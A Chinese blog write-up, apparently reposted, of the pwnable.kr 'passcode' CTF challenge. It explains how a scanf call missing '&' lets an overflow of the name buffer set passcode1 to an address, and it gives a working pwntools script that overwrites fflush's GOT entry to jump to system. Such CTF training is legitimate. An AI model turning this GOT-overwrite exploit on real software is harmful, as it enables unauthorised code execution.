pwnable-passcode

pwnable-passcode,第1张

pwnable-passcode

文章目录

概述题目

题目描述连接信息基本信息获取查看程序加固措施查看源代码源代码分析gdb分析利用代码

概述

pwnable是一个经典的CTF中PWN方向练习的专业网站,本文记录的题目是passcode,主要考察的是函数scanf()的知识点。

题目 题目描述

题目提示 C代码已经编译完成且没有错误,但有告警信息,题目连接信息为ssh [email protected] -p2222 (pw:guest)

连接信息

通过ssh连接目标

基本信息获取

使用file查看基本信息

直接运行程序

查看程序加固措施
checksec passcode

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
查看源代码
#include 
#include 

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)n");
    return 0;
}
源代码分析

程序本意是执行 welcome()和login()函数,在login()中进行passcode1和passcode2的判断,如果符合要求,打印flag。

但是scanf()中少了&,造成的结果是把passcode变量当做指针,因此在编译时产生了告警。

由于少了取地址符号&,可以以passcode值寻址到的内存地址进行覆盖。

gdb分析

查看主函数

查看welcome(),发现name参数地址ebp - 0x70

查看login(),发现passcode1在ebp-0x10,passcode2在ebp-0xc

主函数main()对welcome()和login()进行了连续调用,这就隐含了它们的ebp是相同的。通过计算,name(ebp - 0x70)和passcode1(ebp-0x10)相差0x60(即96个)字节,所以name(长度100个字节)最后4个字节正好可以覆盖到passcode1,但无法覆盖passcode2。

因此要能查看flag,只能跳过if语句的判定,直接执行system()函数。

可以看到在login()中,执行scanf()后执行fflush()函数,可以通过name变量覆盖,将passcode1的值改为fflush()函数的地址,在接下来执行login()时,fflush()函数的地址的值,通过scanf()被赋值为system地址,实行执行查看flag的命令。

找到fflush()的got表项地址

找到system()地址

利用代码
from pwn import *
import pretty_errors

context.log_level = 'info'

session = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222)

offset = 96
fflush_addr = 0x0804a004
system_addr = 0x080485e3
payload = b'A' * offset + p32(fflush_addr)

p = session.process('./passcode')
p.sendlineafter('enter you name :', payload)
p.sendlineafter('enter passcode1 :', str(system_addr))
result = p.recvall()
success(result.decode())
p.close()

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5720188.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-18
下一篇 2022-12-18

发表评论

登录后才能评论

评论列表(0条)

保存